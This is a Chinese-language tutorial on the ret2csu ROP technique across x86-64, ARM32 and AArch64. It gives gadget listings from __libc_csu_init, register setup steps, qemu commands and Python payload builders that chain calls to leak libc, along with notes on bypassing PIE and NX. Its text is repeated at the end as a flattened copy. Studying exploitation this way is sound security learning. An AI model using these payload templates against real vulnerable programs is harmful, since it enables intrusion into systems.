x86&arm架构下的ret2csu
字数 1328 2025-08-20 18:17:00

x86与ARM架构下的ret2csu技术详解

1. x86架构下的ret2csu技术

1.1 基本原理

ret2csu技术利用了__libc_csu_init函数中的gadget来控制参数寄存器,主要解决x86-64架构下缺少直接控制rdx等寄存器的gadget的问题。

1.2 关键gadget分析

__libc_csu_init函数包含两部分关键代码:

第一部分 (pop部分 - 0x4012AA):

pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
retn

第二部分 (mov/call部分 - 0x401290):

mov rdx, r14
mov rsi, r13
mov edi, r12d
call qword ptr [r15+rbx*8]
add rbx, 1
cmp rbp, rbx
jnz short loc_401290

1.3 利用流程

  1. 通过pop部分设置寄存器值:

    • rbx = 0
    • rbp = 1 (确保rbx+1 == rbp)
    • r12 = edi (第1个参数)
    • r13 = rsi (第2个参数)
    • r14 = rdx (第3个参数)
    • r15 = 函数地址
  2. 跳转到mov/call部分执行函数调用

  3. 注意需要添加8字节填充(rsp+8)和56字节填充(7个pop)

1.4 示例利用代码

def ret_csu(r12, r13, r14, r15, last):
    payload = offset * 'a'  
    payload += p64(first_csu) + 'a' * 8    # gadgets1地址
    payload += p64(0) + p64(1)             # rbx=0, rbp=1
    payload += p64(r12)                    # call调用的地址
    payload += p64(r13) + p64(r14) + p64(r15)  # 三个参数寄存器
    payload += p64(second_csu)             # gadgets2地址
    payload += 'a' * 56                    # pop出的padding
    payload += p64(last)                   # 函数最后的返回地址
    return payload

1.5 为什么32位不适用

32位x86架构使用栈传参而非寄存器传参,且__libc_csu_init函数中没有提供控制栈参数的gadget。

2. ARM架构下的ret2csu技术

2.1 ARM基础

寄存器与传参方式

  • 32位ARM: r0(第1参数), r1(第2), r2(第3), r3(第4), 超过4个使用栈传参
  • 关键指令:
    • LDR: 内存加载到寄存器
    • STR: 寄存器存储到内存
    • B/BL/BLX/BX: 跳转指令

环境配置

  • 静态链接32位ARM: qemu-arm ./程序名
  • 动态链接32位ARM: qemu-arm -L /usr/arm-linux-gnueabihf/ ./程序名
  • 调试: qemu-arm -g 1234 -L /usr/arm-linux-gnueabi/ ./程序名

2.2 ARM32 ret2csu利用

关键gadget示例

0x00010500 : pop {r4, r5, r6, r7, r8, sb, sl, pc}
0x000104e0 : mov r2, sb ; mov r1, r8 ; mov r0, r7 ; ldr r3, [r5], #4 ; add r4, r4, #1 ; blx r3

利用流程

  1. 通过pop gadget设置寄存器:

    • r7 = r0 (第1参数)
    • r8 = r1 (第2参数)
    • sb = r2 (第3参数)
    • r5 = 函数地址
  2. 跳转到mov/blx部分执行函数调用

2.3 示例利用代码

r4_r10_pc = 0x00010500  # pop gadget
again = 0x000104e0      # mov/call gadget

# 第一次调用: leak libc
payload = flat([b'a'*12, r4_r10_pc, 0, write, 1, 1, read, 4, b'a'*4, pc])
payload += flat([0, read, 1, 0, bss, 0x10, b'a'*4, again])
payload += flat([b'a'*4]*7, ret_addr)

3. AArch64架构下的ret2csu

3.1 关键区别

  • 使用x29(FP)和x30(LR)寄存器控制执行流
  • 栈结构更复杂,包含多个区域:
    • incoming/outgoing stack arguments
    • callee-saved registers区域
    • local variables区域

3.2 利用要点

  1. 控制x29(FP)和x30(LR)寄存器
  2. 利用函数prologue/epilogue中的栈操作gadget
  3. 注意栈区域分配方向:
    • 参数区域: 低地址→高地址
    • 局部变量: 高地址→低地址

4. 防御与绕过

4.1 常见防御

  • 栈保护(Stack Canary)
  • PIE(位置无关执行)
  • RELRO(重定位只读)

4.2 绕过方法

  • 利用信息泄露绕过PIE
  • 通过ret2csu构造ROP链绕过NX
  • 多次利用控制执行流

5. 参考资源

  • ARM官方文档
  • AAPCS64调用约定
  • 相关安全研究论文和博客
x86与ARM架构下的ret2csu技术详解 1. x86架构下的ret2csu技术 1.1 基本原理 ret2csu技术利用了 __libc_csu_init 函数中的gadget来控制参数寄存器,主要解决x86-64架构下缺少直接控制rdx等寄存器的gadget的问题。 1.2 关键gadget分析 __libc_csu_init 函数包含两部分关键代码: 第一部分 (pop部分 - 0x4012AA): 第二部分 (mov/call部分 - 0x401290): 1.3 利用流程 通过pop部分设置寄存器值: rbx = 0 rbp = 1 (确保rbx+1 == rbp) r12 = edi (第1个参数) r13 = rsi (第2个参数) r14 = rdx (第3个参数) r15 = 函数地址 跳转到mov/call部分执行函数调用 注意需要添加8字节填充(rsp+8)和56字节填充(7个pop) 1.4 示例利用代码 1.5 为什么32位不适用 32位x86架构使用栈传参而非寄存器传参,且 __libc_csu_init 函数中没有提供控制栈参数的gadget。 2. ARM架构下的ret2csu技术 2.1 ARM基础 寄存器与传参方式 32位ARM: r0(第1参数), r1(第2), r2(第3), r3(第4), 超过4个使用栈传参 关键指令: LDR: 内存加载到寄存器 STR: 寄存器存储到内存 B/BL/BLX/BX: 跳转指令 环境配置 静态链接32位ARM: qemu-arm ./程序名 动态链接32位ARM: qemu-arm -L /usr/arm-linux-gnueabihf/ ./程序名 调试: qemu-arm -g 1234 -L /usr/arm-linux-gnueabi/ ./程序名 2.2 ARM32 ret2csu利用 关键gadget示例 利用流程 通过pop gadget设置寄存器: r7 = r0 (第1参数) r8 = r1 (第2参数) sb = r2 (第3参数) r5 = 函数地址 跳转到mov/blx部分执行函数调用 2.3 示例利用代码 3. AArch64架构下的ret2csu 3.1 关键区别 使用x29(FP)和x30(LR)寄存器控制执行流 栈结构更复杂,包含多个区域: incoming/outgoing stack arguments callee-saved registers区域 local variables区域 3.2 利用要点 控制x29(FP)和x30(LR)寄存器 利用函数prologue/epilogue中的栈操作gadget 注意栈区域分配方向: 参数区域: 低地址→高地址 局部变量: 高地址→低地址 4. 防御与绕过 4.1 常见防御 栈保护(Stack Canary) PIE(位置无关执行) RELRO(重定位只读) 4.2 绕过方法 利用信息泄露绕过PIE 通过ret2csu构造ROP链绕过NX 多次利用控制执行流 5. 参考资源 ARM官方文档 AAPCS64调用约定 相关安全研究论文和博客